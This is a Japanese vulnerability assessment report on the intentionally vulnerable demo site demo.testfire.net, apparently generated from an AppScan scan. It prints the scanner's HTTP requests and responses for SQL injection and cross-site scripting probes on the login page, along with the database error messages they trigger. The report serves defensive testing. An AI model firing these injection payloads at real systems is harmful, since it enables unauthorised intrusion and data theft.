CONFIDENTIAL

# 株式会社〇〇様
# Web アプリケーション脆弱性診断結果報告書
【http://demo.testfire.net/】（テストサイト）

2016 年 07 月

株式会社ピーエスシー

No. 201607-00

# 評価

| 評価 | C |
|---|---|

| AAA | AA | A | B | C |
|---|---|---|---|---|
| 脆弱性0個 | 低が1種類以上 | 中が1種類 | 中が2種類 | 高が1種類以上<br>もしくは<br>中が3種類以上 |

# 総評

Web アプリケーションに関するセキュリティスキャンを実施した結果、対象のアプリケーションからは
重大度 「高」「中」「低」の問題と「情報」が検出されました。
重大度 「高」が 2 種類検出されましたので、総合評価は「 C 」評価となります。

# 対象 URL

| スキャン対象 | ページ数 |
| --- | --- |
| http://demo.testfire.net/<br>http://demo.testfire.net/bank/login.aspx<br>http://demo.testfire.net/default.aspx?content=business.htm<br>http://demo.testfire.net/default.aspx?content=business_cards.htm<br>http://demo.testfire.net/default.aspx?content=business_deposit.htm<br>http://demo.testfire.net/default.aspx?content=business_lending.htm<br>http://demo.testfire.net/default.aspx?content=business_retirement.htm<br>http://demo.testfire.net/default.aspx?content=inside.htm<br>http://demo.testfire.net/default.aspx?content=inside_about.htm<br>http://demo.testfire.net/default.aspx?content=inside_careers.htm<br>http://demo.testfire.net/default.aspx?content=inside_community.htm<br>http://demo.testfire.net/default.aspx?content=inside_contact.htm<br>http://demo.testfire.net/default.aspx?content=inside_investor.htm<br>http://demo.testfire.net/default.aspx?content=inside_press.htm<br>http://demo.testfire.net/default.aspx?content=inside_volunteering.htm<br>http://demo.testfire.net/default.aspx?content=personal_checking.htm<br>http://demo.testfire.net/default.aspx?content=personal_deposit.htm<br>http://demo.testfire.net/default.aspx?content=personal_investments.htm<br>http://demo.testfire.net/default.aspx?content=personal_loans.htm<br>http://demo.testfire.net/default.aspx?content=personal_other.htm<br>http://demo.testfire.net/default.aspx?content=pr/20061109.htm<br>http://demo.testfire.net/default.aspx?content=privacy.htm<br>http://demo.testfire.net/default.aspx?content=security.htm<br>http://demo.testfire.net/retirement.htm<br>http://demo.testfire.net/search.aspx<br>http://demo.testfire.net/search.aspx?txtSearch=1234<br>http://demo.testfire.net/survey_questions.aspx<br>http://demo.testfire.net/survey_questions.aspx?step=a | 28 |

# 概要

## 見つかった問題のタイプ

| 問題のタイプ | 問題の数 |
|---|---|
| SQL インジェクション | 2 |
| クロスサイト・スクリプティング | 2 |
| 暗号化されていないログイン要求 | 1 |
| 汚染 Null バイト Windows ファイルの取得 | 1 |
| Padding Oracle On Downgraded Legacy Encryption (POODLE とも呼ばれる) | 1 |
| ディレクトリーの一覧作成 | 2 |
| フレームからのフィッシング | 1 |
| リンク・インジェクション (クロスサイト・リクエスト・フォージェリーの助長) | 1 |
| Content-Security-Policy ヘッダーが欠落しています | 6 |
| Microsoft ASP.NET のデバッグが有効 | 2 |
| X-Content-Type-Options ヘッダーが欠落しています | 6 |
| X-XSS-Protection ヘッダーが欠落しています | 6 |
| データベース・エラー・パターンを検出 | 3 |
| パスワード・フィールドで、HTML の autocomplete 属性が無効になっていません | 1 |
| 圧縮ディレクトリーを発見 | 4 |
| 管理ページへの直接アクセス | 3 |
| 照会内で受理された本体パラメーター | 1 |
| 非表示のディレクトリーを検出 | 3 |
| HTML コメントによる秘密情報の開示 | 1 |
| アプリケーション・エラー | 2 |
| アプリケーション・テスト・スクリプトを検知 | 1 |
| サーバーのパス開示の可能性のあるパターンを発見 | 1 |

## 影響を受ける URL/ファイル

| URL/ファイル | 問題の数 |
|---|---|
| http://demo.testfire.net/bank/login.aspx | 15 |
| http://demo.testfire.net/default.aspx | 5 |
| http://demo.testfire.net/search.aspx | 6 |
| http://demo.testfire.net | 1 |
| http://demo.testfire.net/bank/ | 1 |
| http://demo.testfire.net/pr/ | 1 |
| http://demo.testfire.net/ | 3 |
| http://demo.testfire.net/admin.aspx | 1 |
| http://demo.testfire.net/admin.exe | 1 |
| http://demo.testfire.net/admin.htm | 1 |
| http://demo.testfire.net/admin/ | 1 |
| http://demo.testfire.net/admin/admin.aspx | 1 |
| http://demo.testfire.net/AppScan.aspx | 1 |
| http://demo.testfire.net/bank.exe | 1 |
| http://demo.testfire.net/bank/AppScan.aspx | 1 |
| http://demo.testfire.net/images.exe | 1 |
| http://demo.testfire.net/images/ | 1 |
| http://demo.testfire.net/pr.exe | 1 |
| http://demo.testfire.net/retirement.htm | 3 |
| http://demo.testfire.net/static/ | 1 |
| http://demo.testfire.net/survey_questions.aspx | 3 |
| http://demo.testfire.net/test.aspx | 1 |

# 推奨される修正

| 推奨される修正 | 影響を受ける問題の数 |
|---|---|
| アクセスされるファイルが仮想パスにあり、特定の拡張子を持つようにします。ユーザーの入力から特殊な文字を削除します。 | 1 |
| 機密情報を送信するときには、必ず SSL および POST (body) パラメーターを使用してください。 | 1 |
| 有害な文字のインジェクションに対して考えられる解決策を確認します | 9 |
| TLS_FALLBACK_SCSV を実装してください。さらに、SSLv3 を完全に無効にするか、SSLv3 において CBC モードで作動するすべての暗号スイートを無効にしてください。 | 1 |
| ディレクトリーの一覧表示を拒否するようにサーバーの設定を変更し、使用できる最新のセキュリティー・パッチをインストールします | 2 |
| autocomplete 属性を正しく off に設定してください | 1 |
| Content-Security-Policy ヘッダーを使用するようにサーバーを構成してください | 6 |
| Microsoft ASP.NET 上でのデバッグを無効にします | 2 |
| X-Content-Type-Options ヘッダーを使用するようにサーバーを構成してください | 6 |
| X-XSS-Protection ヘッダーを使用するようにサーバーを構成してください | 6 |
| 圧縮されたディレクトリー・ファイルへのアクセスを削除または制限します | 4 |
| 管理スクリプトに適切な許可を適用します | 3 |
| 禁止されているリソースについて「404 - Not Found」レスポンス・ステータス・コードを送出するか、完全に削除します | 3 |
| 照会ストリングで送信される本体パラメーターを受理しません | 1 |
| HTML コメントから秘密情報を削除します | 1 |
| お使いの Web サーバーまたは Web アプリケーションに対応するセキュリティー・パッチをダウンロードします。 | 1 |
| サーバーからテスト・スクリプトを削除します | 1 |
| パラメーター値が期待される範囲とタイプであることを確認します。デバッグ・エラー・メッセージおよび例外を出力しないようにします。 | 2 |

## セキュリティー・リスク

| リスク | 問題の数 |
|---|---|
| (Web サーバー・ユーザーのパーミッション制限がかけられている) Web サーバー上の任意のファイル (たとえばデータベース、ユーザー情報や設定ファイル) の内容を表示することができます | 1 |
| データベース・エントリーおよびテーブルを表示、改変または削除することができます | 5 |
| ハッカーが正規のユーザーになりすまし、ユーザーのレコードを表示または改変したり、ユーザーとしてトランザクションを実行するのに使用することができる、カスタマー・セッションおよび Cookie を盗み出したり操作することができる可能性があります | 3 |
| 暗号化されずに送信されているユーザー名やパスワードなどのユーザー・ログイン情報を盗み出せる可能性があります | 1 |
| Web サーバー上の Web ページ、スクリプトおよびファイルをアップロード、改変または削除することができます | 1 |
| ユーザー名、パスワード、マシン名などの Web アプリケーションに関する秘密情報や、秘密のファイルの場所などの情報を取得することができます | 23 |
| 制限のかけられたファイルを含む可能性のある Web アプリケーションの仮想ディレクトリーの内容を、表示およびダウンロードすることができます | 2 |
| 知識の乏しいユーザーに、ユーザー名、パスワード、クレジット・カード番号、社会保険番号などの秘密情報を提供するように求めることができます | 21 |
| Web アプリケーションの認証メカニズムをバイパスできる可能性があります | 1 |
| アプリケーションのロジックとユーザー名およびパスワードなどのその他の秘密情報を公開する可能性のあるサーバー・サイド・スクリプトのソース・コードが取得できます | 4 |
| ユーザーの権限を拡大して、Web アプリケーションに対する管理権限を獲得することができます | 3 |
| 攻撃者が Web サイトをマップするのに利用できるサイトのファイル・システム構造についての情報を取得することができます | 3 |
| アプリケーション・ロジック、およびユーザー名やパスワードなどのその他の秘密情報を公開する可能性のある一時スクリプト・ファイルをダウンロードできます | 1 |
| 攻撃者がさらなる攻撃を展開し、Web アプリケーションのファイル・システム構造についての情報を取得するのに役立つ可能性のある Web サーバーのインストールの絶対パスが取得できます | 1 |
| 秘密のデバッグ情報を収集することができます | 2 |

## WASC 脅威の分類

| WASC 脅威の分類 | 問題の数 |
|---|---|
| Null バイト・インジェクション | 1 |
| クライアント・サイド・アタック: クロスサイト・スクリプティング | 2 |
| クライアント・サイド・アタック: コンテンツ・スプーフィング | 2 |
| コマンドの実行: SQL インジェクション | 5 |
| 情報の開示: ディレクトリー索引付け | 2 |
| 情報の開示: 情報漏えい | 34 |
| 情報の開示: 予測可能なリソースの位置 | 4 |
| 不十分なトランスポート層防御 | 1 |

# 重大度別に分類された問題

22 個の URL で 22 種類の異なるタイプの問題が 51 個あります

## [高] 問題 http://demo.testfire.net/bank/login.aspx - 15

### 問題 1 / 15

### [高] SQL インジェクション

| | |
|---|---|
| 問題: | 1365 |
| 重大度: | 高 |
| URL: | http://demo.testfire.net/bank/login.aspx |
| パラメーター: | passw |
| リスク: | データベース・エントリーおよびテーブルを表示、改変または削除することができます |
| 修正: | 有害な文字のインジェクションに対して考えられる解決策を確認します |

#### バリアント 1 / 16

**元の要求に以下の変更が適用されました:**

パラメーター 'passw' の値を '1234%27%3B' に設定します

**論拠:**

応答に SQL
サーバー・エラーが含まれているため、テスト結果では脆弱性が示されていると考えられます。このテスト結果からわかることは、有害な文字をインジェクションすることでアプリケーションに進入して SQL クエリー自体にアクセスできたということです。

**要求/応答:**

```
POST /bank/login.aspx HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://demo.testfire.net/bank/login.aspx
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)

uid=1234& passw=1234%27%3B &btnSubmit=Login

HTTP/1.1 500 Internal Server Error
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html
Expires: -1
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Fri, 11 Mar 2016 03:02:57 GMT
Connection: close

...
yle="height:60px;width:354px;" /></td>
</tr>
</table>
</form>
</div>

<div id="wrapper" style="width: 99%;">


<div class="err" style="width: 99%;">

<h1>An Error Has Occurred</h1>

<h2>Summary:</h2>

<p><b><span id="_ctl0_Content_lblSummary">Characters found after end of SQL statement . </span></b></p>

<h2>Error Message:</h2>
```

System.Data.OleDb. OleDbException : Characters found after end of SQL statement .
at System.Data.OleDb.OleDbCommand.ExecuteCommandTextErrorHandling(OleDbHResult hr)
at System.Data.OleDb.OleDbCommand.ExecuteCommandTextForSingleResult(tagDBPARAMS dbParams, Object& executeResult)
at System.Data.OleDb.OleDbCommand.ExecuteCommandText(Object& executeResult)
at
...
...
yle="height:60px;width:354px;" /></td>
</tr>
</table>
</form>

<h1>An Error Has Occurred</h1>

<h2>Summary:</h2>

Characters found after end of SQL statement . 

<h2>Error Message:</h2>

System.Data.OleDb. OleDbException : Characters found after end of SQL statement .
at System.Data.OleDb.OleDbCommand.ExecuteCommandTextErrorHandling(OleDbHResult hr)
at System.Data.OleDb.OleDbCommand.ExecuteCommandTextForSingleResult(tagDBPARAMS dbParams, Object& executeResult)
at System.Data.OleDb.OleDbCommand.ExecuteCommandText(Object& executeResult)
at
...

## 問題 2 / 15

## [高] 暗号化されていないログイン要求

| | |
|---|---|
| 問題: | 1373 |
| 重大度: | 高 |
| URL: | http://demo.testfire.net/bank/login.aspx |
| パラメーター: | passw |
| リスク: | 暗号化されずに送信されているユーザー名やパスワードなどのユーザー・ログイン情報を盗み出せる可能性があります |
| 修正: | 機密情報を送信するときには、必ず SSL および POST (body) パラメーターを使用してください。 |

### バリアント 1 / 1

**論拠:**

AppScan が SSL 経由では送信されていないパスワード・パラメーターを特定しました。

**要求/応答:**

```
POST /bank/login.aspx HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://demo.testfire.net/bank/login.aspx
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)

uid=1234&passw=1234&btnSubmit=Login

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 8825
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Fri, 11 Mar 2016 03:02:03 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" >
<head id="_ctl0_ctl0_head"><title>
Altoro Mutual: Online Banking Login
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><link href="../style.css" rel="stylesheet" type="text/css"
/><meta name="keywords" content="Altoro Mutual Login, login, authenticate"></head>
<body style="margin-top:5px;">

<div id="header" style="margin-bottom:5px; width: 99%;">
<form id="frmSearch
...
```

## 問題 3 / 15

## [高] SQL インジェクション

| | |
|---|---|
| 問題: | 1384 |
| 重大度: | 高 |
| URL: | http://demo.testfire.net/bank/login.aspx |
| パラメーター: | uid |
| リスク: | データベース・エントリーおよびテーブルを表示、改変または削除することができます |
| 修正: | 有害な文字のインジェクションに対して考えられる解決策を確認します |

### バリアント 1 / 16

**元の要求に以下の変更が適用されました:**

パラメーター 'uid' の値を '1234%27%3B' に設定します

**論拠:**

応答に SQL
サーバー・エラーが含まれているため、テスト結果では脆弱性が示されていると考えられます。このテスト結果からわかることは、有害な文字をインジェクションすることでアプリケーションに進入して SQL クエリー自体にアクセスできたということです。

**要求/応答:**

```
POST /bank/login.aspx HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://demo.testfire.net/bank/login.aspx
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)

uid=1234%27%3B &passw=1234&btnSubmit=Login

HTTP/1.1 500 Internal Server Error
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html
Expires: -1
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Fri, 11 Mar 2016 03:02:57 GMT
Connection: close

...
yle="height:60px;width:354px;" /></td>
</tr>
</table>
</form>
</div>

<div id="wrapper" style="width: 99%;">


<div class="err" style="width: 99%;">

<h1>An Error Has Occurred</h1>

<h2>Summary:</h2>

<p><b><span id="_ctl0_Content_lblSummary">Characters found after end of SQL statement . </span></b></p>

<h2>Error Message:</h2>

<p><span id="_ctl0_Content_lblDetails">System.Data.OleDb. OleDbException : Characters found after end of SQL statement .
at System.Data.OleDb.OleDbCommand.ExecuteCommandTextErrorHandling(OleDbHResult hr)
at System.Data.OleDb.OleDbCommand.ExecuteCommandTextForSingleResult(tagDBPARAMS dbParams, Object&amp; executeResult)
at System.Data.OleDb.OleDbCommand.ExecuteCommandText(Object&amp; executeResult)
at
...
...
yle="height:60px;width:354px;" /></td>
</tr>
</table>
</form>
</div>
```

<h1>An Error Has Occurred</h1>

<h2>Summary:</h2>

Characters found after end of SQL statement . 

<h2>Error Message:</h2>

System.Data.OleDb. OleDbException : Characters found after end of SQL statement .
at System.Data.OleDb.OleDbCommand.ExecuteCommandTextErrorHandling(OleDbHResult hr)
at System.Data.OleDb.OleDbCommand.ExecuteCommandTextForSingleResult(tagDBPARAMS dbParams, Object& executeResult)
at System.Data.OleDb.OleDbCommand.ExecuteCommandText(Object& executeResult)
at
...

## 問題 4 / 15

## [高] クロスサイト・スクリプティング

| | |
|---|---|
| 問題: | 1385 |
| 重大度: | 高 |
| URL: | http://demo.testfire.net/bank/login.aspx |
| パラメーター: | uid |
| リスク: | ハッカーが正規のユーザーになりすまし、ユーザーのレコードを表示または改変したり、ユーザーとしてトランザクションを実行するのに使用することができる、カスタマー・セッションおよび Cookie を盗み出したり操作することができる可能性があります |
| 修正: | 有害な文字のインジェクションに対して考えられる解決策を確認します |

### バリアント 1 / 22

**元の要求に以下の変更が適用されました:**

'1234"/><script>alert(269)</script>' を パラメーター 'uid' の値に注入しました

**論拠:**

Appscan によりスクリプト (ユーザーのブラウザーにページがロードされるときに実行される) が応答に正常に埋め込まれたため、テスト結果では脆弱性が示されていると考えられます。

**要求/応答:**

```
POST /bank/login.aspx HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://demo.testfire.net/bank/login.aspx
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)

uid=1234"/><script>alert(269)</script> &passw=1234&btnSubmit=Login

uid=1234"/><script>alert(269)</script> &passw=1234&btnSubmit=Login

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 8855
Content-Type: text/html ; charset=utf-8
Expires: -1
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Fri, 11 Mar 2016 03:03:28 GMT

...
n our system. Please try again.</span></p>

<form action="login.aspx" method="post" name="login" id="login" onsubmit="return (confirminput(login));">
<table>
<tr>
<td>
Username:
</td>
<td>
<input type="text" id="uid" name="uid" value="1234"/><script> alert(269) </script>" style="width: 150px;">
</td>
<td>
</td>
</tr>
<tr>
<td>
Password:
</td>
<td>
<input type="password" id="passw" name="passw" style="width: 150px;">
</td>
</tr>
<tr>
<td></td>
<td>

...
...
n our system. Please try again.</span></p>
```

```
<form action="login.aspx" method="post" name="login" id="login" onsubmit="return (confirminput(login));">
<table>
<tr>
<td>
Username:
</td>
<td>
<input type="text" id="uid" name="uid" value="1234"/><script> alert(269) </script>" style="width: 150px;">
</td>
<td>
</td>
</tr>
<tr>
<td>
Password:
</td>
<td>
<input type="password" id="passw" name="passw" style="width: 150px;">
</td>
</tr>
<tr>
<td></td>
<td>

...
```

## 問題 5 / 15

## [低] データベース・エラー・パターンを検出

| | |
|---|---|
| 問題: | 1376 |
| 重大度: | 低 |
| URL: | http://demo.testfire.net/bank/login.aspx |
| パラメーター: | uid |
| リスク: | データベース・エントリーおよびテーブルを表示、改変または削除することができます |
| 修正: | 有害な文字のインジェクションに対して考えられる解決策を確認します |

### バリアント 1 / 1

**元の要求に以下の変更が適用されました:**

パラメーター 'uid' の値を '1234WFXSSProbe%27%22%29%2F%3E' に設定します

**論拠:**

応答に SQL
サーバー・エラーが含まれているため、テスト結果では脆弱性が示されていると考えられます。このテスト結果からわかることは、有害な文字をインジェクションすることでアプリケーションに進入して SQL クエリー自体にアクセスできたということです。

**要求/応答:**

```
POST /bank/login.aspx HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://demo.testfire.net/bank/login.aspx
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)

uid=1234WFXSSProbe%27%22%29%2F%3E &passw=1234&btnSubmit=Login

HTTP/1.1 500 Internal Server Error
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html
Expires: -1
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Fri, 11 Mar 2016 03:02:57 GMT
Connection: close


...
/header_pic.jpg" border="0" style="height:60px;width:354px;" /></td>
</tr>
</table>
</form>
</div>

<div id="wrapper" style="width: 99%;">


<div class="err" style="width: 99%;">

<h1>An Error Has Occurred</h1>

<h2>Summary:</h2>

<p><b><span id="_ctl0_Content_lblSummary"> Syntax error in string in query expression 'username = '1234WFXSSProbe'&amp;quot;)/&amp;gt;' AND
password = '1234''. </span></b></p>

<h2>Error Message:</h2>

<p><span id="_ctl0_Content_lblDetails">System.Data.OleDb. OleDbException : Syntax error in string in query expression 'username =
'1234WFXSSProbe'&amp;quot;)/&amp;gt;' AND password = '1234''.
at System.Data.OleDb.OleDbCommand.ExecuteCommandTextErrorHandling(OleDbHResult hr)
at System.Data.OleDb.OleDbCommand.ExecuteCommandTextForSingleResult(tagDBPARAMS dbParams, Object&amp;amp; executeResult)
at System.Data.OleDb.
...
...
/header_pic.jpg" border="0" style="height:60px;width:354px;" /></td>
</tr>
</table>
</form>
```

<h1>An Error Has Occurred</h1>

<h2>Summary:</h2>

 Syntax error in string in query expression 'username = '1234WFXSSProbe'")/>' AND password = '1234''. 

<h2>Error Message:</h2>

System.Data.OleDb. OleDbException : Syntax error in string in query expression 'username = '1234WFXSSProbe'")/>' AND password = '1234''.
at System.Data.OleDb.OleDbCommand.ExecuteCommandTextErrorHandling(OleDbHResult hr)
at System.Data.OleDb.OleDbCommand.ExecuteCommandTextForSingleResult(tagDBPARAMS dbParams, Object& executeResult)
at System.Data.OleDb.
...

## 問題 6 / 15

## [低] パスワード・フィールドで、HTML の autocomplete 属性が無効になっていません

| | |
|---|---|
| 問題: | 1378 |
| 重大度: | 低 |
| URL: | http://demo.testfire.net/bank/login.aspx |
| リスク: | Web アプリケーションの認証メカニズムをバイパスできる可能性があります |
| 修正: | autocomplete 属性を正しく off に設定してください |

### バリアント 1 / 2

**論拠:**

**要求/応答:**

```
GET /bank/login.aspx HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://demo.testfire.net/default.aspx?content=personal_loans.htm
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 8729
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Fri, 11 Mar 2016 03:02:03 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" >
<head id="_ctl0_ctl0_head"><title>
Altoro Mutual: Online Banking Login
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><link href="../style.css" rel="stylesheet" type="text/css"
/><meta name="keywords" content="Altoro Mutual Login, login, authenticate"></head>
<body style="margin-top:5px;">

<div id="header" style="margin-bottom:5px; width: 99%;">
<form id="frmSearch
...
```

## [低] データベース・エラー・パターンを検出

| | |
|---|---|
| 問題: | 1380 |
| 重大度: | 低 |
| URL: | http://demo.testfire.net/bank/login.aspx |
| リスク: | データベース・エントリーおよびテーブルを表示、改変または削除することができます |
| 修正: | 有害な文字のインジェクションに対して考えられる解決策を確認します |

### バリアント 1 / 1

**元の要求に以下の変更が適用されました:**

- パラメーター 'uid' の値を '%3E%22%27%3E%3Cscript%3Ealert%2867%29%3C%2Fscript%3E' に設定します
- パラメーター 'passw' の値を '%3E%22%27%3E%3Cscript%3Ealert%2867%29%3C%2Fscript%3E' に設定します
- パラメーター 'btnSubmit' の値を '%3E%22%27%3E%3Cscript%3Ealert%2867%29%3C%2Fscript%3E' に設定します

**論拠:**

応答に SQL
サーバー・エラーが含まれているため、テスト結果では脆弱性が示されていると考えられます。このテスト結果からわかることは、有害な文字をインジェクションすることでアプリケーションに進入して SQL クエリー自体にアクセスできたということです。

**要求/応答:**

```
POST /bank/login.aspx HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://demo.testfire.net/bank/login.aspx
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)

uid=%3E%22%27%3E%3Cscript%3Ealert%2867%29%3C%2Fscript%3E & passw=%3E%22%27%3E%3Cscript%3Ealert%2867%29%3C%2Fscript%3E &
btnSubmit=%3E%22%27%3E%3Cscript%3Ealert%2867%29%3C%2Fscript%3E

HTTP/1.1 500 Internal Server Error
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html
Expires: -1
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Fri, 11 Mar 2016 03:02:54 GMT
Connection: close


...
/header_pic.jpg" border="0" style="height:60px;width:354px;" /></td>
</tr>
</table>
</form>
</div>

<div id="wrapper" style="width: 99%;">


<div class="err" style="width: 99%;">

<h1>An Error Has Occurred</h1>

<h2>Summary:</h2>

<p><b><span id="_ctl0_Content_lblSummary"> Syntax error (missing operator) in query expression 'username =
'&gt;&quot;'&gt;&lt;script&gt;alert(67)&lt;/script&gt;' AND password = '&gt;&quot;'&gt;&lt;script&gt;alert(67)&lt;/script&gt;''.
</span></b></p>

<h2>Error Message:</h2>

<p><span id="_ctl0_Content_lblDetails">System.Data.OleDb. OleDbException : Syntax error (missing operator) in query expression 'username
= '&gt;&quot;'&gt;&lt;script&gt;alert(67)&lt;/script&gt;' AND password = '&gt;&quot;'&gt;&lt;script&gt;alert(67)&lt;/script&gt;''.
at System.Data.OleDb.OleDbCommand.ExecuteCommandTextErrorHandling(OleDbHResult hr)
at System.Data.OleDb.OleDbCommand.ExecuteCommandTextForSingleResult
...
...
/header_pic.jpg" border="0" style="height:60px;width:354px;" /></td>
</tr>
```

```
</table>
</form>
</div>

<div id="wrapper" style="width: 99%;">


<div class="err" style="width: 99%;">

<h1>An Error Has Occurred</h1>

<h2>Summary:</h2>

<p><b><span id="_ctl0_Content_lblSummary"> Syntax error (missing operator) in query expression 'username =
'&gt;&quot;'&gt;&lt;script&gt;alert(67)&lt;/script&gt;' AND password = '&gt;&quot;'&gt;&lt;script&gt;alert(67)&lt;/script&gt;''.
</span></b></p>

<h2>Error Message:</h2>

<p><span id="_ctl0_Content_lblDetails">System.Data.OleDb. OleDbException : Syntax error (missing operator) in query expression 'username
= '&gt;&quot;'&gt;&lt;script&gt;alert(67)&lt;/script&gt;' AND password = '&gt;&quot;'&gt;&lt;script&gt;alert(67)&lt;/script&gt;''.
at System.Data.OleDb.OleDbCommand.ExecuteCommandTextErrorHandling(OleDbHResult hr)
at System.Data.OleDb.OleDbCommand.ExecuteCommandTextForSingleResult
...
```

## 問題 8 / 15

## [低] データベース・エラー・パターンを検出

| | |
|---|---|
| 問題: | 1382 |
| 重大度: | 低 |
| URL: | http://demo.testfire.net/bank/login.aspx |
| パラメーター: | passw |
| リスク: | データベース・エントリーおよびテーブルを表示、改変または削除することができます |
| 修正: | 有害な文字のインジェクションに対して考えられる解決策を確認します |

### バリアント 1 / 1

**元の要求に以下の変更が適用されました:**

パラメーター 'passw' の値を '1234WFXSSProbe%27%22%29%2F%3E' に設定します

**論拠:**

応答に SQL
サーバー・エラーが含まれているため、テスト結果では脆弱性が示されていると考えられます。このテスト結果からわかることは、有害な文字をインジェクションすることでアプリケーションに進入して SQL クエリー自体にアクセスできたということです。

**要求/応答:**

```
POST /bank/login.aspx HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://demo.testfire.net/bank/login.aspx
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)

uid=1234& passw=1234WFXSSProbe%27%22%29%2F%3E &btnSubmit=Login

HTTP/1.1 500 Internal Server Error
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html
Expires: -1
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Fri, 11 Mar 2016 03:02:56 GMT
Connection: close

...
/header_pic.jpg" border="0" style="height:60px;width:354px;" /></td>
</tr>
</table>
</form>
</div>

<div id="wrapper" style="width: 99%;">


<div class="err" style="width: 99%;">

<h1>An Error Has Occurred</h1>

<h2>Summary:</h2>

<p><b><span id="_ctl0_Content_lblSummary"> Syntax error in string in query expression 'username = '1234' AND password =
'1234WFXSSProbe'&amp;quot;)/&amp;gt;''. </span></b></p>

<h2>Error Message:</h2>

<p><span id="_ctl0_Content_lblDetails">System.Data.OleDb. OleDbException : Syntax error in string in query expression 'username = '1234'
AND password = '1234WFXSSProbe'&amp;quot;)/&amp;gt;''.
at System.Data.OleDb.OleDbCommand.ExecuteCommandTextErrorHandling(OleDbHResult hr)
at System.Data.OleDb.OleDbCommand.ExecuteCommandTextForSingleResult(tagDBPARAMS dbParams, Object&amp;amp; executeResult)
at System.Data.OleDb.
...
...
/header_pic.jpg" border="0" style="height:60px;width:354px;" /></td>
</tr>
</table>
</form>
```

```
</div>

<div id="wrapper" style="width: 99%;">


<div class="err" style="width: 99%;">

<h1>An Error Has Occurred</h1>

<h2>Summary:</h2>

<p><b><span id="_ctl0_Content_lblSummary"> Syntax error in string in query expression 'username = '1234' AND password =
'1234WFXSSProbe'&amp;quot;)/&amp;gt;''. </span></b></p>

<h2>Error Message:</h2>

<p><span id="_ctl0_Content_lblDetails">System.Data.OleDb. OleDbException : Syntax error in string in query expression 'username = '1234'
AND password = '1234WFXSSProbe'&amp;quot;)/&amp;gt;''.
at System.Data.OleDb.OleDbCommand.ExecuteCommandTextErrorHandling(OleDbHResult hr)
at System.Data.OleDb.OleDbCommand.ExecuteCommandTextForSingleResult(tagDBPARAMS dbParams, Object&amp;amp; executeResult)
at System.Data.OleDb.
...
```

## 問題 9 / 15

## [低] 照会内で受理された本体パラメーター

| | |
|---|---|
| 問題: | 3413 |
| 重大度: | 低 |
| URL: | http://demo.testfire.net/bank/login.aspx |
| リスク: | ユーザー名、パスワード、マシン名などの Web アプリケーションに関する秘密情報や、秘密のファイルの場所などの情報を取得することができます知識の乏しいユーザーに、ユーザー名、パスワード、クレジット・カード番号、社会保険番号などの秘密情報を提供するように求めることができます |
| 修正: | 照会ストリングで送信される本体パラメーターを受理しません |

